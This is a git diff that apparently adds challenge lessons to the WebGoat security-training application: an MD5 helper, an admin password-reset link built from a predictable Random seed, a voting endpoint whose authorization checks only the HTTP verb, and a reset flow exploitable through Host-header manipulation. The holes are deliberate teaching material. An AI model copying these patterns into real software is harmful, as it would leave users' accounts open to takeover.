array for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(byte[] b) { + MD5 md5 = new MD5(); + md5.update(b); + return md5.getHashString(); + } + + /** + * Gets the MD5 hash the data on the given InputStream. + * + * @param in byte array for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(InputStream in) throws IOException { + MD5 md5 = new MD5(); + byte[] buffer = new byte[1024]; + int read; + while ((read = in.read(buffer)) != -1) { + md5.update(buffer, read); + } + return md5.getHash(); + } + + /** + * Gets the MD5 hash the data on the given InputStream. + * + * @param in byte array for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(InputStream in) throws IOException { + MD5 md5 = new MD5(); + byte[] buffer = new byte[1024]; + int read; + while ((read = in.read(buffer)) != -1) { + md5.update(buffer, read); + } + return md5.getHashString(); + } + + /** + * Gets the MD5 hash of the given file. + * + * @param f file for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(File f) throws IOException { + InputStream is = new FileInputStream(f); + byte[] hash = getHash(is); + is.close(); + return hash; + } + + /** + * Gets the MD5 hash of the given file. + * + * @param f file array for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(File f) throws IOException { + InputStream is = new FileInputStream(f); + String hash = getHashString(is); + is.close(); + return hash; + } + + /** + * Gets the MD5 hash of the given String. + * The string is converted to bytes using the current + * platform's default character encoding. + * + * @param s String for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(String s) { + MD5 md5 = new MD5(); + md5.update(s); + return md5.getHash(); + } + + /** + * Gets the MD5 hash of the given String. + * The string is converted to bytes using the current + * platform's default character encoding. + * + * @param s String for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(String s) { + MD5 md5 = new MD5(); + md5.update(s); + return md5.getHashString(); + } + + + /** + * Gets the MD5 hash of the given String. + * + * @param s String for which an MD5 hash is desired. + * @param enc The name of a supported character encoding. + * @return Array of 16 bytes, the hash of all updated bytes. + * @throws UnsupportedEncodingException If the named encoding is not supported. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(String s, String enc) throws UnsupportedEncodingException { + MD5 md5 = new MD5(); + md5.update(s, enc); + return md5.getHash(); + } + + /** + * Gets the MD5 hash of the given String. + * + * @param s String for which an MD5 hash is desired. + * @param enc The name of a supported character encoding. + * @return 32-character hex representation the data's MD5 hash. + * @throws UnsupportedEncodingException If the named encoding is not supported. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(String s, String enc) throws UnsupportedEncodingException { + MD5 md5 = new MD5(); + md5.update(s, enc); + return md5.getHashString(); + } + + + /** + * Reset the MD5 sum to its initial state. + * + * @since ostermillerutils 1.00.00 + */ + public void reset() { + workingState.reset(); + finalState.valid = false; + } + + /** + * Returns 32-character hex representation of this hash. + * + * @return String representation of this object's hash. + * @since ostermillerutils 1.00.00 + */ + @Override + public String toString() { + return getHashString(); + } + + /** + * Update this hash with the given data. + *

+ * A state may be passed into this method so that we can add padding + * and finalize a md5 hash without limiting our ability to update + * more data later. + *

+ * If length bytes are not available to be hashed, as many bytes as + * possible will be hashed. + * + * @param state Which state is updated. + * @param buffer Array of bytes to be hashed. + * @param offset Offset to buffer array. + * @param length number of bytes to hash. + * @since ostermillerutils 1.00.00 + */ + private void update(MD5State state, byte buffer[], int offset, int length) { + + finalState.valid = false; + + // if length goes beyond the end of the buffer, cut it short. + if ((length + offset) > buffer.length) { + length = buffer.length - offset; + } + + // compute number of bytes mod 64 + // this is what we have sitting in a buffer + // that have not been hashed yet + int index = (int) (state.bitCount >>> 3) & 0x3f; + + // add the length to the count (translate bytes to bits) + state.bitCount += length << 3; + + int partlen = 64 - index; + + int i = 0; + if (length >= partlen) { + System.arraycopy(buffer, offset, state.buffer, index, partlen); + transform(state, decode(state.buffer, 64, 0)); + for (i = partlen; (i + 63) < length; i += 64) { + transform(state, decode(buffer, 64, i)); + } + index = 0; + } + + // buffer remaining input + if (i < length) { + for (int start = i; i < length; i++) { + state.buffer[index + i - start] = buffer[i + offset]; + } + } + } + + /** + * Update this hash with the given data. + *

+ * If length bytes are not available to be hashed, as many bytes as + * possible will be hashed. + * + * @param buffer Array of bytes to be hashed. + * @param offset Offset to buffer array. + * @param length number of bytes to hash. + * @since ostermillerutils 1.00.00 + */ + public void update(byte buffer[], int offset, int length) { + update(workingState, buffer, offset, length); + } + + /** + * Update this hash with the given data. + *

+ * If length bytes are not available to be hashed, as many bytes as + * possible will be hashed. + * + * @param buffer Array of bytes to be hashed. + * @param length number of bytes to hash. + * @since ostermillerutils 1.00.00 + */ + public void update(byte buffer[], int length) { + update(buffer, 0, length); + } + + /** + * Update this hash with the given data. + * + * @param buffer Array of bytes to be hashed. + * @since ostermillerutils 1.00.00 + */ + public void update(byte buffer[]) { + update(buffer, 0, buffer.length); + } + + /** + * Updates this hash with a single byte. + * + * @param b byte to be hashed. + * @since ostermillerutils 1.00.00 + */ + public void update(byte b) { + byte buffer[] = new byte[1]; + buffer[0] = b; + update(buffer, 1); + } + + /** + * Update this hash with a String. + * The string is converted to bytes using the current + * platform's default character encoding. + * + * @param s String to be hashed. + * @since ostermillerutils 1.00.00 + */ + public void update(String s) { + update(s.getBytes()); + } + + /** + * Update this hash with a String. + * + * @param s String to be hashed. + * @param enc The name of a supported character encoding. + * @throws UnsupportedEncodingException If the named encoding is not supported. + * @since ostermillerutils 1.00.00 + */ + public void update(String s, String enc) throws UnsupportedEncodingException { + update(s.getBytes(enc)); + } + + /** + * The current state from which the hash sum + * can be computed or updated. + * + * @since ostermillerutils 1.00.00 + */ + private MD5State workingState = new MD5State(); + + /** + * Cached copy of the final MD5 hash sum. This is created when + * the hash is requested and it is invalidated when the hash + * is updated. + * + * @since ostermillerutils 1.00.00 + */ + private MD5State finalState = new MD5State(); + + /** + * Temporary buffer cached here for performance reasons. + * + * @since ostermillerutils 1.00.00 + */ + private int[] decodeBuffer = new int[16]; + + /** + * 64 bytes of padding that can be added if the length + * is not divisible by 64. + * + * @since ostermillerutils 1.00.00 + */ + private static final byte padding[] = { + (byte) 0x80, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + }; + + /** + * Contains internal state of the MD5 class. + * Passes MD5 test suite as defined in RFC1321. + * + * @since ostermillerutils 1.00.00 + */ + private class MD5State { + + /** + * True if this state is valid. + * + * @since ostermillerutils 1.00.00 + */ + private boolean valid = true; + + /** + * Reset to initial state. + * + * @since ostermillerutils 1.00.00 + */ + private void reset() { + state[0] = 0x67452301; + state[1] = 0xefcdab89; + state[2] = 0x98badcfe; + state[3] = 0x10325476; + + bitCount = 0; + } + + /** + * 128-byte state + * + * @since ostermillerutils 1.00.00 + */ + private int state[] = new int[4]; + + /** + * 64-bit count of the number of bits that have been hashed. + * + * @since ostermillerutils 1.00.00 + */ + private long bitCount; + + /** + * 64-byte buffer (512 bits) for storing to-be-hashed characters + * + * @since ostermillerutils 1.00.00 + */ + private byte buffer[] = new byte[64]; + + private MD5State() { + reset(); + } + + /** + * Set this state to be exactly the same as some other. + * + * @param from state to copy from. + * @since ostermillerutils 1.00.00 + */ + private void copy(MD5State from) { + System.arraycopy(from.buffer, 0, this.buffer, 0, this.buffer.length); + System.arraycopy(from.state, 0, this.state, 0, this.state.length); + this.valid = from.valid; + this.bitCount = from.bitCount; + } + } + + + /** + * Turns array of bytes into string representing each byte as + * a two digit unsigned hex number. + * + * @param hash Array of bytes to convert to hex-string + * @return Generated hex string + * @since ostermillerutils 1.00.00 + */ + private static String toHex(byte hash[]) { + StringBuffer buf = new StringBuffer(hash.length * 2); + for (byte element : hash) { + int intVal = element & 0xff; + if (intVal < 0x10) { + // append a zero before a one digit hex + // number to make it two digits. + buf.append("0"); + } + buf.append(Integer.toHexString(intVal)); + } + return buf.toString(); + } + + private static int FF(int a, int b, int c, int d, int x, int s, int ac) { + a += ((b & c) | (~b & d)); + a += x; + a += ac; + //return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static int GG(int a, int b, int c, int d, int x, int s, int ac) { + a += ((b & d) | (c & ~d)); + a += x; + a += ac; + //return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static int HH(int a, int b, int c, int d, int x, int s, int ac) { + a += (b ^ c ^ d); + a += x; + a += ac; + //return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static int II(int a, int b, int c, int d, int x, int s, int ac) { + a += (c ^ (b | ~d)); + a += x; + a += ac; + //return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static byte[] encode(long l) { + byte[] out = new byte[8]; + out[0] = (byte) (l & 0xff); + out[1] = (byte) ((l >>> 8) & 0xff); + out[2] = (byte) ((l >>> 16) & 0xff); + out[3] = (byte) ((l >>> 24) & 0xff); + out[4] = (byte) ((l >>> 32) & 0xff); + out[5] = (byte) ((l >>> 40) & 0xff); + out[6] = (byte) ((l >>> 48) & 0xff); + out[7] = (byte) ((l >>> 56) & 0xff); + return out; + } + + private static byte[] encode(int input[], int len) { + byte[] out = new byte[len]; + int i, j; + for (i = j = 0; j < len; i++, j += 4) { + out[j] = (byte) (input[i] & 0xff); + out[j + 1] = (byte) ((input[i] >>> 8) & 0xff); + out[j + 2] = (byte) ((input[i] >>> 16) & 0xff); + out[j + 3] = (byte) ((input[i] >>> 24) & 0xff); + } + return out; + } + + private int[] decode(byte buffer[], int len, int offset) { + int i, j; + for (i = j = 0; j < len; i++, j += 4) { + decodeBuffer[i] = ( + (buffer[j + offset] & 0xff)) | + (((buffer[j + 1 + offset] & 0xff)) << 8) | + (((buffer[j + 2 + offset] & 0xff)) << 16) | + (((buffer[j + 3 + offset] & 0xff)) << 24 + ); + } + return decodeBuffer; + } + + private static void transform(MD5State state, int[] x) { + int a = state.state[0]; + int b = state.state[1]; + int c = state.state[2]; + int d = state.state[3]; + + /* Round 1 */ + a = FF(a, b, c, d, x[0], 7, 0xd76aa478); /* 1 */ + d = FF(d, a, b, c, x[1], 12, 0xe8c7b756); /* 2 */ + c = FF(c, d, a, b, x[2], 17, 0x242070db); /* 3 */ + b = FF(b, c, d, a, x[3], 22, 0xc1bdceee); /* 4 */ + a = FF(a, b, c, d, x[4], 7, 0xf57c0faf); /* 5 */ + d = FF(d, a, b, c, x[5], 12, 0x4787c62a); /* 6 */ + c = FF(c, d, a, b, x[6], 17, 0xa8304613); /* 7 */ + b = FF(b, c, d, a, x[7], 22, 0xfd469501); /* 8 */ + a = FF(a, b, c, d, x[8], 7, 0x698098d8); /* 9 */ + d = FF(d, a, b, c, x[9], 12, 0x8b44f7af); /* 10 */ + c = FF(c, d, a, b, x[10], 17, 0xffff5bb1); /* 11 */ + b = FF(b, c, d, a, x[11], 22, 0x895cd7be); /* 12 */ + a = FF(a, b, c, d, x[12], 7, 0x6b901122); /* 13 */ + d = FF(d, a, b, c, x[13], 12, 0xfd987193); /* 14 */ + c = FF(c, d, a, b, x[14], 17, 0xa679438e); /* 15 */ + b = FF(b, c, d, a, x[15], 22, 0x49b40821); /* 16 */ + + /* Round 2 */ + a = GG(a, b, c, d, x[1], 5, 0xf61e2562); /* 17 */ + d = GG(d, a, b, c, x[6], 9, 0xc040b340); /* 18 */ + c = GG(c, d, a, b, x[11], 14, 0x265e5a51); /* 19 */ + b = GG(b, c, d, a, x[0], 20, 0xe9b6c7aa); /* 20 */ + a = GG(a, b, c, d, x[5], 5, 0xd62f105d); /* 21 */ + d = GG(d, a, b, c, x[10], 9, 0x02441453); /* 22 */ + c = GG(c, d, a, b, x[15], 14, 0xd8a1e681); /* 23 */ + b = GG(b, c, d, a, x[4], 20, 0xe7d3fbc8); /* 24 */ + a = GG(a, b, c, d, x[9], 5, 0x21e1cde6); /* 25 */ + d = GG(d, a, b, c, x[14], 9, 0xc33707d6); /* 26 */ + c = GG(c, d, a, b, x[3], 14, 0xf4d50d87); /* 27 */ + b = GG(b, c, d, a, x[8], 20, 0x455a14ed); /* 28 */ + a = GG(a, b, c, d, x[13], 5, 0xa9e3e905); /* 29 */ + d = GG(d, a, b, c, x[2], 9, 0xfcefa3f8); /* 30 */ + c = GG(c, d, a, b, x[7], 14, 0x676f02d9); /* 31 */ + b = GG(b, c, d, a, x[12], 20, 0x8d2a4c8a); /* 32 */ + + /* Round 3 */ + a = HH(a, b, c, d, x[5], 4, 0xfffa3942); /* 33 */ + d = HH(d, a, b, c, x[8], 11, 0x8771f681); /* 34 */ + c = HH(c, d, a, b, x[11], 16, 0x6d9d6122); /* 35 */ + b = HH(b, c, d, a, x[14], 23, 0xfde5380c); /* 36 */ + a = HH(a, b, c, d, x[1], 4, 0xa4beea44); /* 37 */ + d = HH(d, a, b, c, x[4], 11, 0x4bdecfa9); /* 38 */ + c = HH(c, d, a, b, x[7], 16, 0xf6bb4b60); /* 39 */ + b = HH(b, c, d, a, x[10], 23, 0xbebfbc70); /* 40 */ + a = HH(a, b, c, d, x[13], 4, 0x289b7ec6); /* 41 */ + d = HH(d, a, b, c, x[0], 11, 0xeaa127fa); /* 42 */ + c = HH(c, d, a, b, x[3], 16, 0xd4ef3085); /* 43 */ + b = HH(b, c, d, a, x[6], 23, 0x04881d05); /* 44 */ + a = HH(a, b, c, d, x[9], 4, 0xd9d4d039); /* 45 */ + d = HH(d, a, b, c, x[12], 11, 0xe6db99e5); /* 46 */ + c = HH(c, d, a, b, x[15], 16, 0x1fa27cf8); /* 47 */ + b = HH(b, c, d, a, x[2], 23, 0xc4ac5665); /* 48 */ + + /* Round 4 */ + a = II(a, b, c, d, x[0], 6, 0xf4292244); /* 49 */ + d = II(d, a, b, c, x[7], 10, 0x432aff97); /* 50 */ + c = II(c, d, a, b, x[14], 15, 0xab9423a7); /* 51 */ + b = II(b, c, d, a, x[5], 21, 0xfc93a039); /* 52 */ + a = II(a, b, c, d, x[12], 6, 0x655b59c3); /* 53 */ + d = II(d, a, b, c, x[3], 10, 0x8f0ccc92); /* 54 */ + c = II(c, d, a, b, x[10], 15, 0xffeff47d); /* 55 */ + b = II(b, c, d, a, x[1], 21, 0x85845dd1); /* 56 */ + a = II(a, b, c, d, x[8], 6, 0x6fa87e4f); /* 57 */ + d = II(d, a, b, c, x[15], 10, 0xfe2ce6e0); /* 58 */ + c = II(c, d, a, b, x[6], 15, 0xa3014314); /* 59 */ + b = II(b, c, d, a, x[13], 21, 0x4e0811a1); /* 60 */ + a = II(a, b, c, d, x[4], 6, 0xf7537e82); /* 61 */ + d = II(d, a, b, c, x[11], 10, 0xbd3af235); /* 62 */ + c = II(c, d, a, b, x[2], 15, 0x2ad7d2bb); /* 63 */ + b = II(b, c, d, a, x[9], 21, 0xeb86d391); /* 64 */ + + state.state[0] += a; + state.state[1] += b; + state.state[2] += c; + state.state[3] += d; + } +} \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/PasswordResetLink.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/PasswordResetLink.java new file mode 100644 index 000000000..237b6e361 --- /dev/null +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/PasswordResetLink.java @@ -0,0 +1,43 @@ +package org.owasp.webgoat.plugin.challenge7; + +import java.util.Random; + +/** + * WARNING: DO NOT CHANGE FILE WITHOUT CHANGING .git contents + * + * @author nbaars + * @since 8/17/17. + */ +public class PasswordResetLink { + + public String createPasswordReset(String username, String key) { + Random random = new Random(); + if (username.equalsIgnoreCase("admin")) { + //Admin has a fix reset link + random.setSeed(key.length()); + } + return scramble(random, scramble(random, scramble(random, MD5.getHashString(username)))); + } + + public static String scramble(Random random, String inputString) { + char a[] = inputString.toCharArray(); + for (int i = 0; i < a.length; i++) { + int j = random.nextInt(a.length); + char temp = a[i]; + a[i] = a[j]; + a[j] = temp; + } + return new String(a); + } + + public static void main(String[] args) { + if (args == null || args.length != 2) { + System.out.println("Need a username and key"); + System.exit(1); + } + String username = args[0]; + String key = args[1]; + System.out.println("Generation password reset link for " + username); + System.out.println("Created password reset link: " + new PasswordResetLink().createPasswordReset(username, key)); + } +} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge8/Assignment8.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge8/Assignment8.java new file mode 100644 index 000000000..5a38aaf4e --- /dev/null +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge8/Assignment8.java @@ -0,0 +1,68 @@ +package org.owasp.webgoat.plugin.challenge8; + +import com.google.common.collect.Maps; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.plugin.Flag; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import java.util.HashMap; +import java.util.Map; +import java.util.stream.Collectors; + +/** + * @author nbaars + * @since 4/8/17. + */ +@AssignmentPath("/challenge/8") +@Slf4j +public class Assignment8 extends AssignmentEndpoint { + + private static final Map votes = Maps.newHashMap(); + + static { + votes.put(1, 400); + votes.put(2, 120); + votes.put(3, 140); + votes.put(4, 150); + votes.put(5, 300); + } + + @GetMapping(value = "/vote/{stars}", produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public ResponseEntity vote(@PathVariable(value = "stars") int nrOfStars, HttpServletRequest request) { + //Simple implementation of VERB Based Authentication + String msg = ""; + if (request.getMethod().equals("GET")) { + HashMap json = Maps.newHashMap(); + json.put("error", true); + json.put("message", "Sorry but you need to login first in order to vote"); + return ResponseEntity.status(200).body(json); + } + Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0); + votes.put(nrOfStars, allVotesForStar + 1); + return ResponseEntity.ok().header("X-Flag", "Thanks for voting, your flag is: " + Flag.FLAGS.get(8)).build(); + } + + @GetMapping("/votes/") + public ResponseEntity getVotes() { + return ResponseEntity.ok(votes.entrySet().stream().collect(Collectors.toMap(e -> "" + e.getKey(), e -> e.getValue()))); + } + + @GetMapping("/votes/average") + public ResponseEntity> average() { + int totalNumberOfVotes = votes.values().stream().mapToInt(i -> i.intValue()).sum(); + int categories = votes.entrySet().stream().mapToInt(e -> e.getKey() * e.getValue()).reduce(0, (a, b) -> a + b); + Map json = Maps.newHashMap(); + json.put("average", (int) Math.ceil((double) categories / totalNumberOfVotes)); + return ResponseEntity.ok(json); + } + +} + diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge8/Challenge8.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge8/Challenge8.java new file mode 100644 index 000000000..b75efac43 --- /dev/null +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge8/Challenge8.java @@ -0,0 +1,39 @@ +package org.owasp.webgoat.plugin.challenge8; + +import com.google.common.collect.Lists; +import org.owasp.webgoat.lessons.Category; +import org.owasp.webgoat.lessons.NewLesson; + +import java.util.List; + +/** + * @author nbaars + * @since 3/21/17. + */ +public class Challenge8 extends NewLesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public List getHints() { + return Lists.newArrayList(); + } + + @Override + public Integer getDefaultRanking() { + return 10; + } + + @Override + public String getTitle() { + return "challenge8.title"; + } + + @Override + public String getId() { + return "Challenge8"; + } +} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Assignment9.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Assignment9.java new file mode 100644 index 000000000..661fde45b --- /dev/null +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Assignment9.java @@ -0,0 +1,159 @@ +package org.owasp.webgoat.plugin.challenge9; + +import com.beust.jcommander.internal.Lists; +import com.beust.jcommander.internal.Maps; +import com.google.common.collect.EvictingQueue; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.mail.IncomingMailEvent; +import org.owasp.webgoat.users.UserRepository; +import org.owasp.webgoat.users.WebGoatUser; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.HttpMethod; +import org.springframework.jms.core.JmsTemplate; +import org.springframework.ui.Model; +import org.springframework.util.StringUtils; +import org.springframework.validation.BindingResult; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.client.RestTemplate; + +import javax.servlet.http.HttpServletRequest; +import java.time.LocalDateTime; +import java.util.Map; +import java.util.UUID; + +import static org.owasp.webgoat.plugin.Flag.FLAGS; +import static org.owasp.webgoat.plugin.SolutionConstants.PASSWORD_TOM_9; +import static org.owasp.webgoat.plugin.SolutionConstants.TOM_EMAIL; +import static org.springframework.web.bind.annotation.RequestMethod.POST; + +/** + * @author nbaars + * @since 4/8/17. + */ +@AssignmentPath("/challenge/9") +@Slf4j +public class Assignment9 extends AssignmentEndpoint { + + private static Map userToTomResetLink = Maps.newHashMap(); + private static Map usersToTomPassword = Maps.newHashMap(); + private static EvictingQueue resetLinks = EvictingQueue.create(1000); + + private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " + + "link to reset your password." + + "\n \n\n" + + "If you did not request this password change you can ignore this message." + + "\n" + + "If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" + + "\n\n" + + "Kind regards, \nTeam WebGoat"; + + @Autowired + private JmsTemplate jmsTemplate; + @Autowired + private UserRepository userRepository; + + @RequestMapping(method = POST, value = "/create-password-reset-link") + @ResponseBody + public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServletRequest request, @CookieValue("JSESSIONID") String cookie) { + String resetLink = UUID.randomUUID().toString(); + resetLinks.add(resetLink); + String host = request.getHeader("host"); + if (StringUtils.hasText(email)) { + if (email.equals(TOM_EMAIL) && host.contains("8081")) { //User indeed changed the host header. + userToTomResetLink.put(getWebSession().getUserName(), resetLink); + fakeClickingLinkEmail(cookie, host, resetLink); + } else { + sendMailToUser(email, host, resetLink); + } + } + return success().feedback("email.send").feedbackArgs(email).build(); + } + + private void sendMailToUser(@RequestParam String email, String host, String resetLink) { + String username; + WebGoatUser webGoatUser = userRepository.findByUsername(email.substring(0, email.indexOf("@"))); + if (webGoatUser != null) { + username = webGoatUser.getUsername(); + IncomingMailEvent mail = IncomingMailEvent.builder() + .title("Your password reset link for challenge 9") + .contents(String.format(TEMPLATE, host, resetLink)) + .sender("password-reset@webgoat-cloud.net") + .recipient(username) + .time(LocalDateTime.now()).build(); + jmsTemplate.convertAndSend("mailbox", mail); + } + } + + /** + * We need to add the current cookie of the user otherwise we cannot distinguish in WebWolf for + * which user we need to trace the incoming request. In normal situation this HOST will be in your + * full control so every incoming request would be valid. + */ + private void fakeClickingLinkEmail(String cookie, String host, String resetLink) { + try { + + HttpHeaders httpHeaders = new HttpHeaders(); + httpHeaders.put(HttpHeaders.COOKIE, Lists.newArrayList("JSESSIONID=" + cookie)); + HttpEntity httpEntity = new HttpEntity(httpHeaders); + new RestTemplate().exchange(String.format("http://%s/challenge/9/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class); + } catch (Exception e) { + //don't care + } + } + + @PostMapping("/login") + @ResponseBody + public AttackResult login(@RequestParam String password, @RequestParam String email) { + if (TOM_EMAIL.equals(email)) { + String passwordTom = usersToTomPassword.getOrDefault(getWebSession().getUserName(), PASSWORD_TOM_9); + if (passwordTom.equals(PASSWORD_TOM_9)) { + return failed().feedback("login_failed").build(); + } else if (passwordTom.equals(password)) { + return success().feedback("challenge.solved").feedbackArgs(FLAGS.get(9)).build(); + } + } + return failed().feedback("login_failed.tom").build(); + } + + @GetMapping("/reset-password/{link}") + public String resetPassword(@PathVariable(value = "link") String link, Model model) { + if (this.resetLinks.contains(link)) { + PasswordChangeForm form = new PasswordChangeForm(); + form.setResetLink(link); + model.addAttribute("form", form); + return "password_reset"; //Display html page for changing password + } else { + return "password_link_not_found"; + } + } + + + @PostMapping("/change-password") + public String changePassword(@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) { + if (!StringUtils.hasText(form.getPassword())) { + bindingResult.rejectValue("password", "not.empty"); + } + if (bindingResult.hasErrors()) { + return "password_reset"; + } + if (!resetLinks.contains(form.getResetLink())) { + return "password_link_not_found"; + } + if (checkIfLinkIsFromTom(form.getResetLink())) { + usersToTomPassword.put(getWebSession().getUserName(), form.getPassword()); + } + return "success"; + } + + private boolean checkIfLinkIsFromTom(String resetLinkFromForm) { + String resetLink = userToTomResetLink.getOrDefault(getWebSession().getUserName(), "unknown"); + return resetLink.equals(resetLinkFromForm); + } + +} + diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Challenge9.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Challenge9.java new file mode 100644 index 000000000..c13a6e4c8 --- /dev/null +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Challenge9.java @@ -0,0 +1,39 @@ +package org.owasp.webgoat.plugin.challenge9; + +import com.google.common.collect.Lists; +import org.owasp.webgoat.lessons.Category; +import org.owasp.webgoat.lessons.NewLesson; + +import java.util.List; + +/** + * @author nbaars + * @since 3/21/17. + */ +public class Challenge9 extends NewLesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public List getHints() { + return Lists.newArrayList(); + } + + @Override + public Integer getDefaultRanking() { + return 10; + } + + @Override + public String getTitle() { + return "challenge9.title"; + } + + @Override + public String getId() { + return "Challenge9"; + } +} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/PasswordChangeForm.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/PasswordChangeForm.java new file mode 100644 index 000000000..bfe2d3625 --- /dev/null +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/PasswordChangeForm.java @@ -0,0 +1,22 @@ +package org.owasp.webgoat.plugin.challenge9; + +import lombok.Getter; +import lombok.Setter; + +import javax.validation.constraints.NotNull; +import javax.validation.constraints.Size; + +/** + * @author nbaars + * @since 8/18/17. + */ +@Getter +@Setter +public class PasswordChangeForm { + + @NotNull + @Size(min=6, max=10) + private String password; + private String resetLink; + +} diff --git a/webgoat-lessons/challenge/src/main/resources/challenge7/git.zip b/webgoat-lessons/challenge/src/main/resources/challenge7/git.zip new file mode 100644 index 0000000000000000000000000000000000000000..0e01d46f0d1484d939c2965727592141076e8692 GIT binary patch literal 28890 zcmdqJWmFtpwm*zRkl^m_&}iccPH=Z`8h5uqaCZsr?!h&|-Q6t^T!RID$;{k&{&$|S z`}OU$cCF$={Z5_jd)GcF%0R;)Lj3*#xX@+(a`U$fECdk*iLwtl~a-YJJ@f)e*jan zH!*Ssn~;I*>^&SU%*>t1obAZi0c=3T-^*aVf+9ft;zXALazS({y#A&8N=W~+49L#b z)WYm9@Yt`=zv&;~xrVz?K9M2APIAa@A+T&x^@}DMh$=H#boHL}1q^&{zgFzQ3CJzm zE4r!C&UNh(IO1ZSA%Zp&o(jx0C1yJ|Ax-HG5mUfmv#$;#c(h~vW9z@)iP6HT829yk ze$$)(c_%4xVX=SrMvh=pKC;(~6RSDc$i#`&#>mMT?D+re_P0z-;@(8~K|(;#LqR|w z{tvQ+tqIuu-|^Dv0@=~j(9jUdxN)%5QG67<)o8dpJ(1zJMM@cfu7U(D`W*uf?guW~ z=tIoLLrr&m@5yDK9BI41S(PgGulgM>=x(-%fT8mRg(1;=8{1 zO)36NQyK#)3T8I;nm;?LEOi&#IJvq6NyD0G3I)eK6ofx z)udzXEnuzNcjnrNFIa}Hgx{7E4wgeIndOjIzp@lD1bYtghV}I!qkZaW7gGJH>HDkt zjn8>!Z#r+I?b<^+gR#mu!>C?284NpWXn+icjIvTBY`RrkjSi%Q=vbz|WmWrx5vC9S zO^{4cI4j~Y!%M?;=QFT)fz2LjERX;`GQ_ZSMEM#(U@4DT#%ryez~w5Bi514(>NEc$ zIWbaexd1yci`NVNNg{C%w-BZfr#Sh}n!ADiPjfmxyVUC^YS73*s&T#xuaTlxyCrF$C0FNmTfXx&HHs;~s z;4tCujd+aNxp{%y9GpO~3CQ#>8u%~PbBD|vlSAwVpuIO*;O#pOV*kbXCN$Ll zbhTCfyDBs{i-=H`EQQz1 zsFiwQWg07>Ie$|ym4QbwD8jZL=O9+-K;r6)qZCz)wpEbjV@{88! 